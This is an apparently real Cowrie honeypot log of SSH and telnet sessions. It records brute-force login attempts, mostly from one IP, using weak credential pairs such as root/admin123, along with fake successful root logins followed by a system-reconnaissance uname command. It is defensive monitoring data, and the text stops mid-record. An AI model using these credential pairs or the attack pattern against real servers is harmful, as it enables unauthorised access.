{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41460,"dst_ip":"159.203.135.109","dst_port":22,"session":"679f0ccc0540","protocol":"ssh","message":"New connection: 2.57.122.96:41460 (159.203.135.109:22) [session: 679f0ccc0540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:34.178384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:34.192673Z","src_ip":"2.57.122.96","session":"679f0ccc0540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:34.290987Z","src_ip":"2.57.122.96","session":"679f0ccc0540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"3edc#EDC","message":"login attempt [ubuntu/3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:34.740237Z","src_ip":"2.57.122.96","session":"679f0ccc0540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:35.857597Z","src_ip":"2.57.122.96","session":"679f0ccc0540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":33944,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc2cfec3117a","protocol":"ssh","message":"New connection: 85.198.97.85:33944 (159.203.135.109:22) [session: dc2cfec3117a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:38:05.863561Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:38:06.001556Z","src_ip":"85.198.97.85","session":"dc2cfec3117a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.214","src_port":53270,"dst_ip":"10.17.0.5","dst_port":22,"session":"e30cdf2086fb","protocol":"ssh","message":"New connection: 45.33.12.214:53270 (10.17.0.5:22) [session: e30cdf2086fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:38:29.507946Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:38:29.697098Z","src_ip":"45.33.12.214","session":"e30cdf2086fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":59946,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcebf55150fc","protocol":"telnet","message":"New connection: 130.12.180.174:59946 (10.17.0.5:23) [session: bcebf55150fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:38:44.436324Z"}
{"eventid":"cowrie.session.closed","duration":0.5006637573242188,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:38:44.936872Z","src_ip":"130.12.180.174","session":"bcebf55150fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":32784,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ed9b7b171ea","protocol":"ssh","message":"New connection: 2.57.122.96:32784 (10.17.0.5:22) [session: 2ed9b7b171ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:05.187932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:05.222453Z","src_ip":"2.57.122.96","session":"2ed9b7b171ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:05.322417Z","src_ip":"2.57.122.96","session":"2ed9b7b171ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin123","message":"login attempt [root/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:05.782629Z","src_ip":"2.57.122.96","session":"2ed9b7b171ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:06.094562Z","src_ip":"2.57.122.96","session":"2ed9b7b171ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:06.099438Z","src_ip":"2.57.122.96","session":"2ed9b7b171ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:06.215644Z","src_ip":"2.57.122.96","session":"2ed9b7b171ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:06.221571Z","src_ip":"2.57.122.96","session":"2ed9b7b171ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35124,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de90ade569a","protocol":"ssh","message":"New connection: 2.57.122.96:35124 (159.203.135.109:22) [session: 6de90ade569a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:20.917622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:20.922326Z","src_ip":"2.57.122.96","session":"6de90ade569a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:21.029392Z","src_ip":"2.57.122.96","session":"6de90ade569a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin123","message":"login attempt [root/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:21.345486Z","src_ip":"2.57.122.96","session":"6de90ade569a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:21.633694Z","src_ip":"2.57.122.96","session":"6de90ade569a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:21.637372Z","src_ip":"2.57.122.96","session":"6de90ade569a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:21.747232Z","src_ip":"2.57.122.96","session":"6de90ade569a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:21.751967Z","src_ip":"2.57.122.96","session":"6de90ade569a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.111","src_port":59842,"dst_ip":"159.203.135.109","dst_port":22,"session":"7229e04a3905","protocol":"ssh","message":"New connection: 45.79.207.111:59842 (159.203.135.109:22) [session: 7229e04a3905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:45.975093Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:40:46.419133Z","src_ip":"45.79.207.111","session":"7229e04a3905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41566,"dst_ip":"10.17.0.5","dst_port":22,"session":"447666c6deeb","protocol":"ssh","message":"New connection: 2.57.122.96:41566 (10.17.0.5:22) [session: 447666c6deeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:01.740622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:01.746118Z","src_ip":"2.57.122.96","session":"447666c6deeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:01.850801Z","src_ip":"2.57.122.96","session":"447666c6deeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:02.350915Z","src_ip":"2.57.122.96","session":"447666c6deeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:03.458239Z","src_ip":"2.57.122.96","session":"447666c6deeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":60198,"dst_ip":"159.203.135.109","dst_port":22,"session":"f236fa62f978","protocol":"ssh","message":"New connection: 2.57.122.96:60198 (159.203.135.109:22) [session: f236fa62f978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:18.035680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:18.040349Z","src_ip":"2.57.122.96","session":"f236fa62f978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:18.150270Z","src_ip":"2.57.122.96","session":"f236fa62f978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:18.606503Z","src_ip":"2.57.122.96","session":"f236fa62f978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:43:19.716320Z","src_ip":"2.57.122.96","session":"f236fa62f978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.67.65.165","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d7bd182194a","protocol":"telnet","message":"New connection: 54.67.65.165:36490 (159.203.135.109:23) [session: 3d7bd182194a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:45:51.042056Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":40920,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cb70a459deb","protocol":"ssh","message":"New connection: 2.57.122.96:40920 (10.17.0.5:22) [session: 0cb70a459deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:45:57.970578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:45:57.976368Z","src_ip":"2.57.122.96","session":"0cb70a459deb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:45:58.099165Z","src_ip":"2.57.122.96","session":"0cb70a459deb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123","message":"login attempt [ubuntu/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:45:58.419867Z","src_ip":"2.57.122.96","session":"0cb70a459deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:45:59.526508Z","src_ip":"2.57.122.96","session":"0cb70a459deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.081759929656982,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:01.123697Z","src_ip":"54.67.65.165","session":"3d7bd182194a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55524,"dst_ip":"159.203.135.109","dst_port":22,"session":"21ea1f59d8fc","protocol":"ssh","message":"New connection: 2.57.122.96:55524 (159.203.135.109:22) [session: 21ea1f59d8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:14.067093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:46:14.070683Z","src_ip":"2.57.122.96","session":"21ea1f59d8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-